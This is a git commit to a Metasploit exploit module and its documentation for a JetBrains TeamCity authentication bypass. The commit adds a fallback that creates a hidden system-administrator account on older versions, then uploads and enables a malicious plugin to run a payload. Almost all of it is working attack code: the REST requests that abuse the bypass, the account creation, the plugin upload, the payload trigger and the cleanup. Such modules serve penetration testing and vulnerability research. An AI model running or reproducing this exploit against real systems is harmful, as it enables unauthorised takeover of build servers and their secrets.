Older version of TeamCity (circa 2018) do not support access tokens, so we can fall back on creating an admin user accoutn before we upload the plugin. Creating an access token is better as we can delete the token, unlike the user account.

This commit is contained in:
sfewer-r7 2024-02-27 12:01:57 +00:00
parent 8bca294966
commit f52543b4a6
No known key found for this signature in database
2 changed files with 138 additions and 46 deletions

View File

@ -2,13 +2,19 @@
This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated
attacker can leverage this to access the REST API and create a new administrator access token. This token
can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
unauthenticated RCE on the target TeamCity server.
unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
so the exploit will instead create a new administrator account before uploading a plugin.
## Testing
[Download](https://www.jetbrains.com/teamcity/download/) and
[install](https://www.jetbrains.com/help/teamcity/install-and-start-teamcity-server.html) a vulnerable version of
TeamCity for either Windows or Linux, e.g. version 2023.11.3. By default the server will listen for HTTP
connections on port 8111.
connections on port 8111 (Older version of the product listen on port 80 by default).
The exploit has been tested against:
* TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
* TeamCity 2023.11.3 (build 147512) running on Linux
* TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
## Verification Steps
Note: On Windows, disable Defender if you are using the default payloads.

View File

@ -19,7 +19,8 @@ class MetasploitModule < Msf::Exploit::Remote
This module exploits an authentication bypass vulnerability in JetBrains TeamCity,. An unauthenticated
attacker can leverage this to access the REST API and create a new administrator access token. This token
can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve
unauthenticated RCE on the target TeamCity server.
unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist
so the exploit will instead create a new administrator account before uploading a plugin.
},
'License' => MSF_LICENSE,
'Author' => [
@ -33,6 +34,10 @@ class MetasploitModule < Msf::Exploit::Remote
'Platform' => %w[java win linux unix],
'Arch' => [ARCH_JAVA, ARCH_CMD],
'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account.
# Tested against:
# * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022
# * TeamCity 2023.11.3 (build 147512) running on Linux
# * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016
'Targets' => [
[
'Java', {
@ -76,7 +81,8 @@ class MetasploitModule < Msf::Exploit::Remote
register_options(
[
# By default TeamCity listens for HTTP requests on TCP port 8111.
# By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on
# port 80 by default).
Opt::RPORT(8111),
OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']),
# The first user created during installation is an administrator account, so the ID will be 1.
@ -137,7 +143,9 @@ class MetasploitModule < Msf::Exploit::Remote
def exploit
#
# 1. Leverage the auth bypass to generate a new administrator access token.
# 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018)
# do not have support for access token, so we fall back to creating a new administrator account. The benefit
# of using an access token is we can delete it when we are finished, unlike a user account.
#
token_name = Rex::Text.rand_text_alphanumeric(8)
@ -146,21 +154,71 @@ class MetasploitModule < Msf::Exploit::Remote
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name)
)
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found, try setting the TEAMCITY_ADMIN_ID option to a different ID.')
if res && (res.code == 404) && res.body.include?('api.NotFoundException')
print_warning('Tokens API not found, falling back to creating an admin user.')
token_name = nil
token_value = nil
admin_username = Faker::Internet.username
admin_password = Rex::Text.rand_text_alphanumeric(16)
res = send_auth_bypass_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'),
'ctype' => 'application/json',
'data' => {
'username' => admin_username,
'password' => admin_password,
'name' => Faker::Name.name,
'email' => Faker::Internet.email(name: admin_username),
'roles' => {
'role' => [
{
'roleId' => 'SYSTEM_ADMIN',
'scope' => 'g'
}
]
}
}.to_json
)
unless res&.code == 200
fail_with(Failure::UnexpectedReply, 'Failed to create an administrator user.')
end
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end
print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)")
# As we have created an access token, this being block ensures we delete the token when we are done.
begin
#
# 2. Extract the authentication token from the response.
#
http_authorization = basic_auth(admin_username, admin_password)
# Login via HTTP basic authorization and store the session cookie.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
# A failed login attempt will return in a 401. We expect a 302 redirect upon success.
if res&.code == 401
fail_with(Failure::UnexpectedReply, 'Failed to login with new admin user credentials.')
end
else
unless res&.code == 200
# One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here
# and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option.
if res && (res.code == 404) && res.body.include?('User not found')
print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.')
end
fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.')
end
# Extract the authentication token from the response.
token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s
if token_value.nil?
@ -169,8 +227,13 @@ class MetasploitModule < Msf::Exploit::Remote
print_status("Created authentication token: #{token_value}")
http_authorization = "Bearer #{token_value}"
end
# As we have created an access token, this being block ensures we delete the token when we are done.
begin
#
# 3. Create a malicious TeamCity plugin to host our payload.
# 2. Create a malicious TeamCity plugin to host our payload.
#
plugin_name = Rex::Text.rand_text_alphanumeric(8)
@ -267,7 +330,7 @@ class MetasploitModule < Msf::Exploit::Remote
zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack)
#
# 4. Upload the payload plugin to the TeamCity server
# 3. Upload the payload plugin to the TeamCity server
#
print_status("Uploading plugin: #{plugin_name}")
@ -291,8 +354,10 @@ class MetasploitModule < Msf::Exploit::Remote
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'),
'ctype' => 'multipart/form-data; boundary=' + message.bound,
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
},
'data' => message.to_s
)
@ -302,13 +367,15 @@ class MetasploitModule < Msf::Exploit::Remote
end
#
# 5. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
# 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server.
#
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'loadAll',
@ -323,9 +390,9 @@ class MetasploitModule < Msf::Exploit::Remote
# As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done.
begin
#
# 6. Begin to clean up, register several paths for cleanup.
# 5. Begin to clean up, register several paths for cleanup.
#
if (install_path, sep = get_install_path(token_value))
if (install_path, sep = get_install_path(http_authorization))
vprint_status("Target install path: #{install_path}")
if target['Arch'] == ARCH_JAVA
@ -336,7 +403,7 @@ class MetasploitModule < Msf::Exploit::Remote
register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep))
end
if (build_number = get_build_number(token_value))
if (build_number = get_build_number(http_authorization))
vprint_status("Target build number: #{build_number}")
# The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a
@ -353,7 +420,7 @@ class MetasploitModule < Msf::Exploit::Remote
# On a Linux target we see the extracted plugin file remaining here even after we delete the plugin.
# /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/
if (data_path = get_data_dir_path(token_value))
if (data_path = get_data_dir_path(http_authorization))
vprint_status("Target data directory path: #{data_path}")
register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep))
@ -362,15 +429,17 @@ class MetasploitModule < Msf::Exploit::Remote
end
#
# 7. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
# 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java
# payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin.
#
if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java'
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
@ -380,28 +449,33 @@ class MetasploitModule < Msf::Exploit::Remote
end
ensure
#
# 8. Ensure we delete the plugin from the server when we are finished.
# 7. Ensure we delete the plugin from the server when we are finished.
#
print_status('Deleting the plugin...')
print_warning('Failed to delete the plugin.') unless delete_plugin(token_value, plugin_name)
print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name)
end
ensure
#
# 9. Ensure we delete the access token we created when we are finished.
# 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and
# password, we cannot delete the user account we created.
#
print_status('Deleting the authentication token...')
if token_name && token_value
print_status('Deleting the authentication token...')
print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value)
end
end
end
def get_install_path(token_value)
def get_install_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
@ -438,12 +512,14 @@ class MetasploitModule < Msf::Exploit::Remote
nil
end
def get_data_dir_path(token_value)
def get_data_dir_path(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
@ -455,12 +531,14 @@ class MetasploitModule < Msf::Exploit::Remote
res.body
end
def get_build_number(token_value)
def get_build_number(http_authorization)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
}
)
@ -476,12 +554,14 @@ class MetasploitModule < Msf::Exploit::Remote
server_data.attr('buildNumber')
end
def get_plugin_uuid(token_value, plugin_name)
def get_plugin_uuid(http_authorization, plugin_name)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_get' => {
'item' => 'plugins'
@ -503,8 +583,8 @@ class MetasploitModule < Msf::Exploit::Remote
uuid_match[1]
end
def delete_plugin(token_value, plugin_name)
plugin_uuid = get_plugin_uuid(token_value, plugin_name)
def delete_plugin(http_authorization, plugin_name)
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)
if plugin_uuid.nil?
print_warning('Failed to discover enabled plugin UUID')
@ -516,8 +596,10 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'setEnabled',
@ -531,7 +613,7 @@ class MetasploitModule < Msf::Exploit::Remote
return false
end
plugin_uuid = get_plugin_uuid(token_value, plugin_name)
plugin_uuid = get_plugin_uuid(http_authorization, plugin_name)
if plugin_uuid.nil?
print_warning('Failed to discover disabled plugin UUID')
@ -543,8 +625,10 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'),
'keep_cookies' => true,
'headers' => {
'Authorization' => "Bearer #{token_value}"
'Origin' => full_uri,
'Authorization' => http_authorization
},
'vars_post' => {
'action' => 'delete',
@ -564,7 +648,9 @@ class MetasploitModule < Msf::Exploit::Remote
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'),
'keep_cookies' => true,
'headers' => {
'Origin' => full_uri,
'Authorization' => "Bearer #{token_value}"
},
'vars_post' => {